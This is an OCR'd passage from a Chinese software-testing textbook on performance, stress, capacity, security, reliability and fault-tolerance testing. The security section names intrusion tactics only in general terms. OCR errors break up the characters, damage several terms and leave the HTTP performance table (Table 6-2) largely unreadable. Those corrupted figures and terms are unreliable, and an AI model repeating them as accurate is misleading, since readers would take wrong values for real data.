器 ,数据 吞吐 量 可 以 理解 为 单位 时 间 内 Web 服务 器 成 功 处 理 的 HTTP 页 面 或 
HTTP 请 求 数量 。 

3. 性 能 测试 的 基本 过 程 

(1) 确定 性 能 测试 需求 ,包括 确定 哪些 性 能 指标 要 度量 ,以 及 系统 会 承受 哪些 负载 。 其 
中 还 要 确定 关键 业务 的 操作 ,也 就 是 针对 哪些 关键 操作 来 执行 性 能 测试 。 

(2) 根据 测试 需求 ,选择 测试 工具 和 开发 相应 的 测试 脚本 。 一 般 针 对 选 定 的 关键 业务 
操作 来 开发 相应 的 自动 化 测试 脚本 ,并 进行 测试 脚本 的 数据 关联 (如 建立 客户 端 请求 和 系统 
响应 指标 之 间 的 关联 ) 和 参数 化 (把 脚本 中 的 某 些 请 求 数据 替换 成 变量 ) 。 

G) 建立 性 能 测试 负载 模型 ,就 是 确定 并 发 虚拟 用 户 的 数量 、 每 次 请 求 的 数据 量 、 思 考 
时 间 、 加 载 方式 和 持续 加 载 的 时 间 等 。 设 计 负 载 模 型 通常 不 会 一 次 设计 到 位 ,是 一 个 不 断 迭 
代 完 善 的 过 程 ,即使 在 执行 过 程 中 ,也 不 是 完全 按照 设计 好 的 测试 用 例 来 执行 ,需要 根据 需 
求 的 变化 进行 调整 和 修改 。 

(4) 执行 性 能 测试 。 通 过 多 次 运行 性 能 测试 负载 模型 ,获得 系统 的 性 能 数据 。 一 般 要 
借助 工具 对 系统 资源 进行 监控 和 分 析 ,帮助 发 现 性 能 瓶颈 ,定位 应 用 代码 中 的 性 能 问题 , 切 
实 解决 系统 的 性 能 问题 或 在 系统 层面 进行 优化 。 

(5) 提交 性 能 测试 报告 ,包括 性 能 测试 方法 .负载 模型 和 实际 执行 的 性 能 测试 .性 能 测 
试 结果 及 其 分 析 等 。 

4. 举例 

客户 端 与 服务 器 全 部 采用 HTTP 的 连接 方式 ,建立 表 6-2, 进 行 测试 并 取得 数据 。 

表 6-2 HTTP 连接 性 能 表 


HTTP 1X5 | 1X50 |1 x 100]1 X 250]1 X 500]1 X 600]1 X 700/1 X 800]1X 900) |10x5|50x5 
CPUC %) 1:2- 225: || 45.) 1 20 20 28 23 25 go 4 24 
物理 内 存 (M) | 55 45 38 38 32 48 75 46 37 … | 178 | 232 
虚拟 内 存 (M) | 836 | 841 | 831 | 855 | 865 | 858 | 867 | 874 | 884 | … | 871 | 1472 
加 入 时 间 (s) | 12.04] 12.14] 11.6 | 15.48] 126. 1 |104. 76| 168. 1 | 123.7 |218.11| … | 12.01] 9.17 
建 会 时 间 (s) | 12.01] 11. 35 | 12. 38 | 13. 32 | 13. 63 | 14. 06 | 16. 35 | 14. 98 | 17. 68 | … | 10.9 |11.39 
延 时 (s)… oo eee eee eee ee wee eee eee oa 
断 开 时 间 (s) | 8.58 | 9.11 | 7.94 | 9.09 | 8.26 | 8.35 | 8.46 ] 11.41] 11.1 | … | 8.79 | 8.22 


测试 过 程 中 ,压力 的 不 断 增 加 在 系统 性 能 上 的 表现 越 来 越 明 显 ,加 载 过 程 中 每 到 一 个 测 
试点 时 注意 让 系统 平稳 地 运行 一 段 时 间 后 再 获取 数据 ,否则 加 压 的 操作 可 能 会 影响 数据 的 
可 靠 性 。 表 6-2 中 1X5 表示 的 是 1 个 课程 ,5 个 在 线 用 户 ; 10X5 表示 10 个 课程 ,每 个 课程 
有 5 个 在 线 用 户 。 在 表 6-2 中 ,同样 是 250 个 用 户 ,1X250 与 50X5 的 性 能 表现 差别 很 大 。 
同样 我 们 可 以 获得 TCP 等 连接 方式 下 的 数据 。 然 后 可 以 根据 这 些 数据 生成 各 项 指标 的 性 
能 曲线 图 ,图 6-7 所 示 为 CPU 使 用 率 的 对 照 曲线 图 。 根 据 这 些 图 表 可 以 很 清楚 地 了 解 系统 
的 性 能 状况 : 在 什么 样 的 压力 下 系统 达到 最 佳 状况 ,什么 压力 是 系统 的 极限 。 实 际 上 在 做 
性 能 测试 的 同时 也 就 完成 了 部 分 容量 测试 。 


—* HTTP 


=a TCP 


—t— HTTP&TCP 


图 6-7 CPU 使 用 率 的 对 照 曲 线 图 
6.4.2 压力 测试 


压力 测试 (stress test) ,也 称 为 强度 测试 .负载 测试 。 压 力 测 试 是 模拟 实际 应 用 的 软 硬 
件 环境 及 用 户 使 用 过 程 的 系统 负荷 ,长 时 间或 超大 负荷 地 运行 测试 软件 ,来 测试 被 测 系统 的 
性 能 、 可 靠 性 、 稳 定性 等 。 压 力 测试 的 目的 就 是 在 软件 投入 使 用 前 或 软件 负载 达到 极限 前 ， 
通过 执行 可 重复 的 负载 测试 ,了 解 系 统 可 靠 性 、 性 能 瓶颈 等 ,以 提高 软件 系统 的 可 靠 性 、 稳 定 
性 ,减少 系统 的 宕 机 时 间 和 因此 带 来 的 损失 。 

从 本 质 上 来 说 ,测试 者 是 想 要 破坏 程序 ,难怪 在 进行 压力 测试 时 常常 问 自己 :“ 我 们 能 
够 将 系统 折腾 到 什么 程度 而 又 不 会 出 错 ?” 这 种 系统 折腾 ,就 是 对 异常 情况 的 设计 。 异 常情 
况 主 要 指 的 是 峰值 (瞬间 使 用 高 峰 ) 、 大 量 数据 的 处 理 能 力 ,长 时 间 运 行 等 情况 。 压 力 测试 总 
是 迫使 系统 在 异常 的 资源 配置 下 运行 。 例 如 : 

。 当中 断 的 正常 频率 为 每 秒 1 或 2 个 时 ,运行 每 秒 产生 10 个 中 断 的 测试 用 例 ; 

。 定量 地 增长 数据 输入 频率 ,检查 对 数据 处 理 的 反应 能 力 ; 

。 运行 需要 最 大 存储 空间 (或 其 他 资源 ) 的 测试 用 例 ; 

。 运 行 可 能 导致 虚 存 操作 系统 崩溃 或 大 量 数据 对 磁盘 进行 存 取 操作 的 测试 用 例 等 。 

1. 测试 压力 估算 

根据 产品 说 明 书 的 设计 要 求 或 以 往 版 本 的 实际 运行 经 验 对 测试 压力 进行 估算 ,给 出 合 
理 的 估算 结果 。 例 如 单 台 服务 器 实际 使 用 时 一 般 只 有 100 个 并 发 用 户 ,但 在 某 一 时 间 段 的 
用 户 峰值 可 达到 500 个 。 那 么 事先 预测 要 求 的 压力 值 为 500 个 用 户 的 1.5~2 倍 。 而 且 要 
考虑 到 每 个 用 户 的 实际 操作 所 产生 的 事务 处 理 和 数据 量 。 如 果 产 品 说 明 书 已 说 明 最 大 设计 
容量 , 则 最 大 设计 容量 为 最 大 压力 值 。 

2. 测试 环境 准备 


测试 环境 准备 包括 硬件 环境 (服务 器 、 客 户 机 等 )、 网 络 环境 (网 络 通信 协议 ,带宽 等 ) 、 测 
试 程序 (能 正确 模拟 客户 端的 操作 ) ,数据 准备 等 。 

分 析 压 力 测试 中 系统 容易 出 现 瓶 颈 的 地 方 , 从 而 有 目的 地 调整 测试 策略 或 测试 环境 ,使 
压力 测试 结果 真实 地 反映 出 软件 的 性 能 。 例 如 ,服务 器 的 硬件 限制 .数据库 的 访问 性 能 设置 
等 常常 会 成 为 制约 软件 性 能 的 重要 因素 ,但 这 些 因 素 显 然 不 是 用 户 最 关心 的 ,在 测试 之 前 就 
要 通过 一 些 设置 把 这 些 因素 的 影响 调 至 最 低 。 

(1) 压力 稳定 性 测试 。 在 选 定 的 压力 值 下 ,持续 运行 24 小 时 以 上 进行 稳定 性 测试 。 客 
户 端 通常 由 测试 工具 模拟 真实 用 户 不 停 地 进行 各 种 操作 。 监 视 服 务 器 和 真实 客户 端的 必要 
性 能 指标 。 通 过 压力 测试 的 标准 是 各 项 性 能 指标 在 指定 范围 内 ,无 内 存 泄漏 .无 系统 崩 演 、 


无 功能 性 故障 等 。 

(2) 破坏 性 加 压 测 试 。 在 压力 稳定 性 测试 中 可 能 会 出 现 一 些 问 题 , 如 系统 性 能 明显 降 
低 , 但 仅 从 以 上 的 测试 中 很 难 暴露 出 其 真实 的 原因 。 通 过 破坏 性 不 断 加 压 的 手段 ,往往 能 快 
速 造成 系统 的 衣 溃 或 让 问题 明显 地 暴露 出 来 。 

。 从 某 个 时 间 开 始 服务 器 拒绝 请 求 ,客户 端 上 显示 的 全 是 错误 ; 

。 和 勉强 测试 完成 ,但 网 络 堵塞 或 测试 结果 显示 时 间 非 常 长 ; 

。 服务 器 宕 机 。 

3. 问题 的 分 析 

在 压力 测试 中 通常 采用 的 是 黑 盒 测试 方法 ,测试 人 员 很 难 对 出 现 的 问题 进行 准确 的 定 
位 。 报 告 中 只 有 现象 会 造成 调试 修改 的 困难 ,而 开发 人 员 又 没有 相应 的 环境 和 时 间 去 重 现 
问题 ,所 以 适当 的 分 析 和 详细 的 记录 是 十 分 重要 的 。 

(1) 查看 服务 器 上 的 进程 及 相应 的 日 志文 件 可 能 立刻 找到 问题 的 关键 (如 某 个 进程 的 
崩溃 ) 。 好 的 程序 员 会 给 程序 加 上 保护 .跟踪 机 制 及 错误 处 理 机 制 ,备份 日 志文 件 以 供 参考 。 

(2) 查看 监视 系统 性 能 的 日 志文 件 , 找 出 问题 出 现 的 关键 时 间 。 此 时 的 在 线 用 户 数量 、 
系统 状态 等 也 是 很 有 价值 的 参考 材料 。 

(3) 检查 测试 运行 参数 ,进行 适当 调整 重新 测试 ,看 看 是 否 能 够 再 现 问题 。 

(4) 对 问题 进行 分 解 ,屏蔽 某 些 因素 或 功能 , 试 着 重 现 问题 。 例 如 客户 端 与 服务 器 有 三 
种 连接 方式 : TCP HTTP、HTTPS, 则 只 保留 HTTP 或 TCP 连接 方式 。 如 问题 仍然 存在 ， 
也 许 是 代理 服务 器 或 网 关 等 造成 的 ,可 采用 把 MS 代理 换 成 SQULID 代理 等 方法 。 

4. 累积 效应 

有 些 测试 人 员 在 压力 测试 中 喜欢 让 整个 系统 重启 (如 服务 器 Reboot) ,以 确保 后 续 的 测 
试 能 在 一 个 “干净 ”的 环境 中 进行 。 这 样 确实 有 利于 问题 的 分 析 , 但 这 不 是 一 个 好 的 习惯 , 因 
为 这 样 往 往 会 忽略 掉 累 积 效应 ,使 得 一 些 缺陷 无 法 被 发 现 。 有 些 问题 的 表现 并 不 明显 ,但 日 
积 月 累 就 会 造成 严重 问题 ,特别 是 服务 器 端的 压力 测试 。 例 如 某 进 程 每 次 调用 时 申请 占用 
的 内 存在 运行 完毕 时 并 没有 完全 释放 ,平常 的 测试 中 无 法 发 现 ,但 最 终 可 能 导致 系统 的 
HABE 
6.4.3 容量 测试 


容量 测试 (capacity test) ,预先 分 析出 反映 软件 系统 应 用 特征 的 某 项 指标 的 极限 值 ,如 
某 个 Web 站 点 可 以 支持 的 并 发 用 户 的 访问 量 、 网 络 在 线 会 议 系统 的 与 会 者 人 数 。 知 道 了 系 
统 的 实际 容量 ,如 果 不 能 满足 要 求 , 就 应 该 寻求 新 的 解决 方案 ,以 提高 系统 的 容量 。 若 一 时 
没有 新 的 解决 方案 ,就 有 必要 在 产品 发 布 说 明 书 上 明确 这 些 容量 的 限制 ,避免 引起 软件 产品 
使 用 上 的 纠纷 。 如 果实 际 容量 已 满足 要 求 , 就 能 帮助 用 户 建立 对 产品 的 信心 。 

通过 容量 测试 可 以 确定 软件 系统 还 能 保持 主要 功能 正常 运行 的 某 项 指标 的 极限 值 ( 如 
最 大 并 发 用 户 数 ,数据 库 记 录 数 等 ) ,或 者 说 能 够 确定 测试 对 象 在 给 定时 间 内 能 够 持续 处 理 
的 最 大 负载 或 工作 量 。 例 如 ,如 果 测 试 对 象 正在 为 生成 一 份 报 表 而 处 理 一 组 数据 库 记 录 , 那 
么 容量 测试 就 会 使 用 一 个 具有 十 几 万 条 ,甚至 几 百 万 条 记录 的 大 型 测试 数据 库 ,检验 该 软件 
是 否 能 正常 运行 并 生成 正确 的 报表 。 


容量 测试 有 时 候 进行 一 些 组 合 条 件 下 的 测试 ,如 核实 测试 对 象 在 以 下 高 容量 条 件 下 能 
否 正 常 运行 

。 连接 或 模拟 了 最 大 (实际 或 实际 允许 ) 数 量 的 客户 机 ; 

。 所 有 客户 机 在 长 时 间 内 执行 相同 的 、 性 能 可 能 最 不 稳定 的 重要 业务 功能 ， 

© 已 达到 最 大 的 数据 库 大 小 (实际 的 或 按 比 例 缩放 的 ) ,而 且 同 时 执行 多 个 查询 或 报表 

事务 。 

容量 测试 的 完成 标准 可 以 定义 为 : 所 计划 的 测试 已 全 部 执行 ,而 且 达 到 或 超出 指定 的 
系统 限制 时 没有 出 现任 何 软件 故障 。 

当然 需要 注意 ,不 能 简单 地 说 在 某 一 标准 配置 服务 器 上 运行 某 软件 的 容量 是 多 少 。 选 
用 不 同 的 加 载 策略 可 以 反映 不 同 状况 下 的 容量 。 一 个 简单 的 例子 ,网 上 聊天 室 软件 的 容量 
是 多 少 ? 在 一 个 聊天 室内 有 1000 个 用 户 , 和 100 个 聊天 室 每 个 聊天 室内 有 10 个 用 户 。 同 
样 的 1000 个 用 户 ,在 性 能 表现 上 可 能 会 出 现 很 大 的 区 别 , 在 服务 器 端 数据 处 理 量 ,传输 量 是 
截然 不 同 的 。 在 更 复杂 的 系统 内 ,就 需要 分 更 多 种 情况 提供 相应 的 容量 数据 供 参考 。 

对 软件 容量 的 测试 ,能 让 软件 开发 商 或 用 户 了 解 该 软件 系统 的 承载 能 力 或 提供 服务 的 
能 力 , 如 某 个 电子 商务 网 站 所 能 承受 的 、 同 时 进行 交易 或 结算 的 在 线 用 户 数 。 知 道 了 系统 的 
实际 容量 ,如 果 不 能 满足 设计 要 求 , 就 应 该 寻求 新 的 技术 解决 方案 ,以 提高 系统 的 容量 。 有 
了 对 软件 负载 的 准确 预测 ,不 仅 能 对 软件 系统 在 实际 使 用 中 的 性 能 状况 充满 信心 ,同时 也 可 
以 帮助 用 户 经 济 地 规划 应 用 系统 ,优化 系统 和 网 络 配置 。 


6.4.4 安全 性 测试 


根据 ISO 8402 的 定义 ,安全 性 是 “使 伤害 或 损害 的 风险 限制 在 可 接受 的 水 平 内 ”。 所 以 
直观 地 说 ,软件 的 安全 性 是 软件 的 一 种 内 在 的 属性 。 安 全 性 的 英文 术语 是 Safety, 另 一 个 英 
文 术语 Security, 也 有 安全 的 含义 ,但 是 它 主 要 是 指 文件 数据、 资料 的 保密 问题 。 

软件 安全 性 和 可 靠 性 有 非常 紧密 的 联系 ,安全 事故 是 危害 度 最 大 的 失效 事件 ,因此 软件 
可 靠 性 要 求 通常 包括 了 安全 性 的 要 求 。 但 是 软件 的 可 靠 性 不 能 完全 取代 软件 的 安全 性 , 因 
为 安全 性 要 求 包括 了 在 非 正 常 条 件 下 不 发 生 安全 事故 的 能 力 。 

安全 性 测试 是 检查 系统 对 非法 侵入 的 防范 能 力 。 安 全 测试 期 间 , 测 试 人 员 假 扮 非法 入 
侵 者 ,采用 各 种 办 法 试图 突破 防线 。 例 如 : 

。 想方设法 截取 或 破译 口令 ; 

。 专门 开发 软件 来 破坏 系统 的 保护 机 制 ; 

。 故意 导致 系统 失败 ,企图 趁 恢复 之 机 非法 进入 ; 

。 试图 通过 浏览 非 保密 数据 ,推导 所 需 信 息 等 。 

理论 上 讲 , 只 要 有 足够 的 时 间 和 资源 ,没有 不 可 进入 的 系统 。 因 此 系统 安全 设计 的 准则 
是 : 使 非法 侵入 的 代价 超过 被 保护 信息 的 价值 ,此 时 非法 侵入 者 已 无 利 可 图 。 

1. 两 种 级 别 的 安全 性 

安全 性 一 般 分 为 两 个 层次 , 即 应 用 程序 级 别 的 安全 性 和 系统 级 别 的 安全 性 ,它们 的 关系 
如 下 : 

(1) 应 用 程序 级 别 的 安全 性 ,包括 对 数据 或 业务 功能 的 访问 ; 系统 级 别 的 安全 性 ,包括 
对 系统 的 登录 或 远程 访问 。 


(2) 应 用 程序 级 别 的 安全 性 可 确保 ,在 预期 的 安全 性 情况 下 ,操作 者 只 能 访问 特定 的 功 
能 或 用 例 ,或 者 只 能 访问 有 限 的 数据 ; 例如 , 某 财务 系统 可 能 会 允许 所 有 人 输入 数据 ,创建 
新 账户 ,但 只 有 管理 员 才 能 删除 这 些 数 据 或 账户 。 如 果 具 有 数据 级 别 的 安全 性 ,测试 就 可 确 
保 “ 用 户 类 型 一 "能够 看 到 所 有 客户 消息 (包括 财务 数据 ) ,而 “用 户 类 型 二 ”只 能 看 见 本 同一 
客户 的 统计 数据 。 

(3) 系统 级 别 的 安全 性 可 确保 只 有 具备 系统 访问 权限 的 用 户 才能 访问 应 用 程序 ,而 且 
只 能 通过 相应 的 网 关 来 访问 。 

2. 测试 目标 

应 用 程序 级 别 的 安全 性 : 核实 操作 者 只 能 访问 其 所 属 用 户 类 型 已 被 授权 访问 的 那些 功 
能 或 数据 。 系 统 级 别 的 安全 性 : 核实 只 有 具备 系统 和 应 用 程序 访问 权限 的 操作 者 才能 访问 
系统 和 应 用 程序 。 

3. 测试 范围 

确定 并 列 出 各 用 户 类 型 及 其 被 授权 访问 的 功能 或 数据 。 为 各 用 户 类 型 创建 测试 ,并 通 
过 创建 各 用 户 类 型 所 特有 的 事务 来 核实 其 权限 。 修 改 用 户 类 型 并 为 相同 的 用 户 重新 运行 测 
试 。 对 于 每 种 用 户 类 型 ,确保 正确 地 提供 或 拒绝 了 这 些 附 加 的 功能 或 数据 。 

4. 安全 性 测试 方法 

(1) 静态 的 代码 安全 测试 : 主要 通过 对 源 代码 进行 安全 扫描 ,根据 程序 中 数据 流 、 控 制 
流 、 语 义 等 信息 与 其 特有 软件 安全 规则 库 进 行 匹配 ,从 中 找 出 代码 中 潜在 的 安全 漏洞 。 静 态 
的 源 代码 安全 测试 是 常用 的 方法 ,可 以 在 编码 阶段 找 出 所 有 可 能 存在 安全 风险 的 代码 ,这 样 
在 早期 就 能 解决 潜在 的 安全 问题 。 

(2) 动态 的 渗透 测试 : 渗透 测试 也 是 常用 的 安全 测试 方法 ,使 用 自动 化 工具 或 者 人 工 
的 方法 模拟 黑客 的 输入 ,对 应 用 系统 进行 攻击 性 测试 ,从 中 找 出 运行 时 刻 所 存在 的 安全 漏 
洞 。 这 种 测试 的 特点 就 是 真实 有 效 , 找 出 来 的 问题 一 般 更 为 严重 。 

(3) 程序 数据 扫描 。 一 个 有 高 安全 性 需求 的 软件 ,在 运行 过 程 中 数据 是 不 能 遭 到 破坏 
的 ,和 否则 就 会 导致 缓冲 区 溢出 类 型 的 攻击 。 数 据 扫 描 的 手段 通常 是 进行 内 存 测试 ,内 存 测试 
可 以 发 现 许多 诸如 缓冲 区 溢出 之 类 的 漏洞 .而 这 类 漏洞 使 用 除 此 之 外 的 测试 手段 都 难以 
发 现 。 

5. 完成 标准 

各 种 已 知 的 操作 者 类 型 都 可 访问 相应 的 功能 或 数据 ,而 且 所 有 事务 都 按照 预期 的 方式 
运行 ,并 在 先前 的 应 用 程序 功能 测试 中 运行 了 所 有 的 事务 。 


6.4.5 可 靠 性 测试 


可 靠 性 (reliability) 是 产品 在 规定 的 条 件 下 和 规定 的 时 间 内 完成 规定 功能 的 能 力 , 它 的 
概率 度量 称 为 可 靠 度 。 软 件 可 靠 性 是 软件 系统 的 固有 特性 之 一 , 它 表 明了 一 个 软件 系统 按 
照 用 户 的 要 求 和 设计 的 目标 ,执行 其 功能 的 可 靠 程度 。 软 件 可 靠 性 与 软件 缺陷 有 关 , 也 与 系 
统 输 入 和 系统 使 用 有 关 。 理 论 上 说 ,可 靠 的 软件 系统 应 该 是 正确 、 完 整 . 一 致 和 健壮 的 。 但 
是 实际 上 任何 软件 都 不 可 能 达到 百分之百 正确 ,而 且 也 无 法 精确 度量 。 一 般 情况 下 ,只 能 通 
过 对 软件 系统 进行 测试 来 度量 其 可 靠 性 。 


对 软件 可 靠 性 定义 , 换 句 话 可 以 得 到 如 下 的 定义 :“ 软 件 可 靠 性 是 软件 系统 在 规定 的 时 
间 内 及 规定 的 环境 条 件 下 ,完成 规定 功能 的 能 力 ”。 根据 这 个 定义 ,软件 可 靠 性 主要 包含 以 
下 三 个 要 素 : 

(1) 规定 的 时 间 。 软 件 可 靠 性 只 是 体现 在 其 运行 阶段 ,所 以 将 “运行 时 间 ” 作 为 “规定 的 
时 间 ” 的 度量 。“ 运 行 时 间 ” 包 括 软 件 系统 运行 后 工作 与 挂 起 (开启 但 空闲 ) 的 累计 时 间 。 由 
于 软件 运行 的 环境 与 程序 路 径 选 取 的 随机 性 ,软件 的 失效 为 随机 事件 ,所 以 运行 时 间 属 于 随 
机 变量 。 

(2) 规定 的 环境 条 件 。 环 境 条 件 指 软件 的 运行 环境 。 它 涉及 软件 系统 运行 时 所 需 的 各 
种 支持 要 素 ,如 支持 硬件 .操作 系统 .其 他 支持 软件 .输入 数据 格式 和 范围 以 及 操作 规程 等 。 
不 同 的 环境 条 件 下 软件 的 可 靠 性 是 不 同 的 。 具 体 地 说 ,规定 的 环境 条 件 主 要 是 描述 软件 系 
统 运 行 时 计算 机 的 配置 情况 以 及 对 输入 数据 的 要 求 , 并 假定 其 他 一 切 因素 都 是 理想 的 。 有 
了 明确 规定 的 环境 条 件 , 还 可 以 有 效 判 断 软 件 失 效 的 责任 在 用 户 方 还 是 研制 方 。 

(3) 规定 的 功能 。 软 件 可 靠 性 还 与 规定 的 任务 和 功能 有 关 。 由 于 要 完成 的 任务 不 同 ， 
软件 的 运行 剖面 会 有 所 区 别 , 则 调用 的 子 模块 就 不 同 ( 即 程序 路 径 选择 不 同 ) ,其 可 靠 性 也 就 
可 能 不 同 。 所 以 要 准确 度量 软件 系统 的 可 靠 性 必须 首先 明确 它 的 任务 和 功能 。 

软件 可 靠 性 测试 ,也 称 软件 可 靠 性 评估 (software reliability assessment) , 指 根据 软件 
系统 可 靠 性 结构 (单元 与 系统 间 可 靠 性 关系 ) 寿命 类 型 和 各 单元 的 可 靠 性 试验 信息 ,利用 概 
率 统计 方法 ,评估 出 系统 的 可 靠 性 特征 量 。 

1. 可 靠 性 测试 方法 

要 进行 软件 可 靠 性 评估 ,就 要 涉及 软件 可 靠 性 模型 , 即 为 预计 或 估算 软件 的 可 靠 性 所 建 
立 的 可 靠 性 结构 和 数学 模型 。 建 立 可 靠 性 模型 是 为 了 将 复杂 系统 的 可 靠 性 逐 级 分 解 为 简单 
系统 的 可 靠 性 ,以 便 定量 预计 、 分 配 、 估 算 和 评价 复杂 系统 的 可 靠 性 。 一 般 软 件 可 靠 性 模型 
分 两 大 类 , 即 软件 可 靠 性 结构 模型 和 软件 可 靠 性 预计 模型 。 

(1) 软件 可 靠 性 结构 模型 是 依据 系统 结构 逻辑 关系 ,对 系统 的 可 靠 性 特征 及 其 发 展 变 
化 规律 做 出 可 靠 性 评价 。 此 模型 既 可 用 于 软件 可 靠 性 综合 评价 又 可 用 于 软件 可 靠 性 分 解 。 

(2) 软件 可 靠 性 预计 模型 则 是 用 来 描述 软件 失效 与 软件 缺陷 的 关系 ,借助 这 类 模型 ,可 
以 对 软件 的 可 靠 性 特征 做 出 定量 的 预计 或 评估 。 依 据 软件 缺陷 与 运行 剖面 数据 ,利用 统计 
学 原理 建立 二 者 之 间 的 数学 关系 ,获取 开发 过 程 中 可 靠 性 变化 .软件 在 预定 工作 时 间 的 可 靠 
度 、. 软 件 在 任意 时 刻 发 生 失 效 数 平均 值 ,以 及 软件 在 规定 时 间 间 隔 内 发 生 失 效 次 数 的 平均 
值 。 这 里 需要 向 读者 澄清 两 词 的 区 别 , 即 评估 与 预计 ,评估 是 对 现 有 的 情况 进行 评价 ,而 预 
计 往 往 是 依据 现 有 的 情况 及 评估 结果 ,对 未 来 可 能 发 生 的 情况 进行 科学 的 推断 。 预 计 模 型 
主要 有 以 下 几 类 ， 

。 面向 时 间 的 预计 模型 : 以 时 间 为 基准 ,描述 软件 可 靠 性 特征 随时 间 变 化 的 规律 。 

。 面 向 输入 数据 的 预计 模型 : 描述 软件 可 靠 性 与 输入 数据 的 联系 ,利用 程序 运行 中 的 

失效 次 数 与 成 功 次 数 的 比 作为 软件 可 靠 性 的 度量 。 

。 面向 错误 数 的 预计 模型 : 描述 程序 中 现存 错误 数 的 多 少 ,预示 程序 的 可 靠 性 。 

在 可 靠 性 测试 中 ,可 以 考虑 进行 “强化 输入 ”, 即 输入 比 正常 输入 更 恶劣 (合理 程度 的 恶 
劣 ) 的 数据 。 如 果 软 件 在 强化 输入 下 可 靠 , 就 能 说 明 比 正规 输入 下 可 靠 得 多 。 同 时 为 了 获得 
更 多 的 可 靠 性 数据 ,应 该 采用 多 台 计 算 机 同时 运行 软件 ,以 增加 累计 运行 时 间 。 


2. 可 靠 性 数据 收集 

软件 可 靠 性 数据 是 可 靠 性 评估 的 基础 。 应 该 建立 软件 错误 报告 分 析 与 纠正 措施 系统 。 
按照 相关 标准 的 要 求 ,制定 和 实施 软件 错误 报告 及 可 靠 性 数据 收集 保存. 分析 和 处 理 的 规 
程 ,完整 准确 地 记录 软件 测试 阶段 的 软件 错误 报告 和 收集 可 靠 性 数据 。 

用 时 间 定 义 的 软件 可 靠 性 数据 可 以 分 为 4 类 : 

。 失效 时 间 数 据 ,记录 发 生 一 次 失效 所 累积 经 历 的 时 间 。 

。 失效 间隔 时 间 数 据 , 记 录 本 次 失效 与 上 一 次 失效 之 间 的 间隔 时 间 。 

。 分 组 数据 ,记录 某 个 时 间 区 内 发 生 了 多 少 次 失效 。 

。 分 组 时 间 内 的 累积 失效 数 , 记 录 某 个 区 间 内 的 累积 失效 数 。 

这 4 类 数据 可 以 互相 转换 。 每 个 测试 记录 必须 包含 充分 的 信息 ,包括 : 

。 测试 时 间 。 

。 含有 测试 用 例 的 测试 计划 或 测试 说 明 。 

。 所 有 与 测试 有 关 的 测试 结果 ,包括 所 有 测试 时 发 生 的 故障 。 

。 参与 测试 的 个 人 身份 。 

3. 可 靠 性 测试 结果 的 评估 

软件 系统 的 可 靠 性 是 系统 最 重要 的 质量 指标 。ISO 9000 国际 质量 标准 (1SO/IEC 
9126 一 1991) 规 定 ,软件 产品 的 可 靠 性 含义 是 : 在 规定 的 一 段 时 间 和 条 件 下 ,软件 能 维持 其 
性 能 水 平 的 能 力 有 关 的 一 组 属性 ,可 用 成 熟 性 、 容 错 性 、 易 恢复 性 3 个 基本 子 特性 来 度量 。 

成 熟 性 度量 可 以 通过 错误 发 现 率 (Defect Detection Percentage,DDP) 来 表现 。 在 测试 
中 查找 出 来 的 错误 越 多 ,实际 应 用 中 出 错 的 机 会 就 越 小 ,软件 也 就 越 成 熟 。 

DDP 二 测试 发 现 的 错误 数量 /已 知 的 全 部 错误 数量 

已 知 的 全 部 错误 数量 是 测试 已 发 现 的 错误 数量 与 可 能 会 发 现 的 错误 数量 之 和 。 

4. 可 靠 性 评估 报告 

测试 活动 结束 后 必须 编写 (软件 可 靠 性 测试 报告 ), 对 测试 项 及 测试 结果 在 测试 报告 中 
加 以 总 结 .归纳 。 编 写 时 可 以 参考 GIB 438A 一 97 中 提供 的 (软件 测试 报告 格式 ,并 应 根据 
情况 进行 剪裁 。 测 试 报告 应 具备 下 列 内容 : 

。 产品 标识 。 

。 使 用 的 配置 (硬件 和 软件 ) 。 

。 使 用 的 文档 。 

。 产品 说 明 、 用 户 文档 ,程序 和 数据 的 测试 结果 。 

。 与 需求 不 相符 项 的 列表 。 

。 测试 的 最 终日 期 。 

这 种 规范 化 的 过 程 管理 控制 有 利于 获得 真实 有 效 的 数据 ,为 最 终 得 到 客观 的 评估 结果 
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6.4.6 容错 性 测试 


容错 性 测试 (recovery test) 主 要 检查 系统 的 容错 能 力 ,检查 软件 在 异常 条 件 下 自身 是 否 
具有 防护 性 的 措施 或 者 某 种 灾难 性 恢复 的 手段 。 如 当 系 统 出 错时 ,能 否 在 指定 时 间 间 隔 内 


修正 错误 并 重新 启动 系统 。 容 错 测试 首先 要 通过 各 种 手段 ,让 软件 强制 性 地 发 生 故 障 , 然 后 
验证 系统 是 否 能 尽快 恢复 。 容 错 性 测试 包括 两 个 方面 : 

(1) 输入 异常 数据 或 进行 异常 操作 ,以 检验 系统 的 保护 性 。 如 果 系统 的 容错 性 好 的 话 ， 
系统 只 给 出 提示 或 内 部 消化 掉 , 而 不 会 导致 系统 出 错 甚至 崩溃 。 

(2) 灾难 恢复 性 测试 。 通 过 各 种 手段 ,让 软件 强制 性 地 发 生 故 障 ,然后 验证 系统 已 保存 
的 用 户 数据 是 否 丢失 、 系 统 和 数据 是 否 能 尽快 恢复 。 

对 于 自动 恢复 需 验证 重新 初始 化 ,检查 点 ,数据 恢复 和 重新 启动 等 机 制 的 正确 性 ; 对 于 
人 工 干预 的 恢复 系统 ,还 需 估 测 平均 修复 时 间 ,确定 其 是 否 在 可 接受 的 范围 内 。 容 错 性 好 的 
软件 能 确保 系统 不 发 生 无 法 意料 的 事故 。 

从 容错 性 测试 的 概念 可 以 看 出 , 当 软件 出 现 故障 时 如 何 进行 故障 的 转移 与 恢复 有 用 的 
数据 是 十 分 重要 的 。 

L 故障 转移 与 数据 恢复 


故障 转移 是 确保 测试 对 象 在 出 现 故 障 时 能 成 功 完 成 故障 的 转移 ,并 能 从 导致 意外 数据 
损失 或 数据 完整 性 破坏 的 各 种 硬件 .软件 和 网 络 故障 中 恢复 。 数 据 恢复 可 确保 : 对 于 必须 
持续 运行 的 系统 ,一 旦 发 生 故 障 ,备用 系统 就 将 不 失 时 机 地 “顶替 ”发 生 故 障 的 系统 ,以 避免 
丢失 任何 数据 或 事务 。 容 错 测试 是 一 种 对 抗 性 的 测试 过 程 。 在 这 种 测试 中 ,将 把 应 用 程序 
或 系统 置 于 (模拟 的 ) 异 常 条 件 下 ,以 产生 故障 。 例 如 设备 输入 输出 (1/O) 故 障 或 无 效 的 数 
据 库 指针 和 关键 字 等 。 然 后 调用 恢复 进程 并 监测 ,检查 应 用 程序 和 系统 ,核实 系统 和 数据 已 
得 到 了 正确 的 恢复 。 

2. 测试 目标 

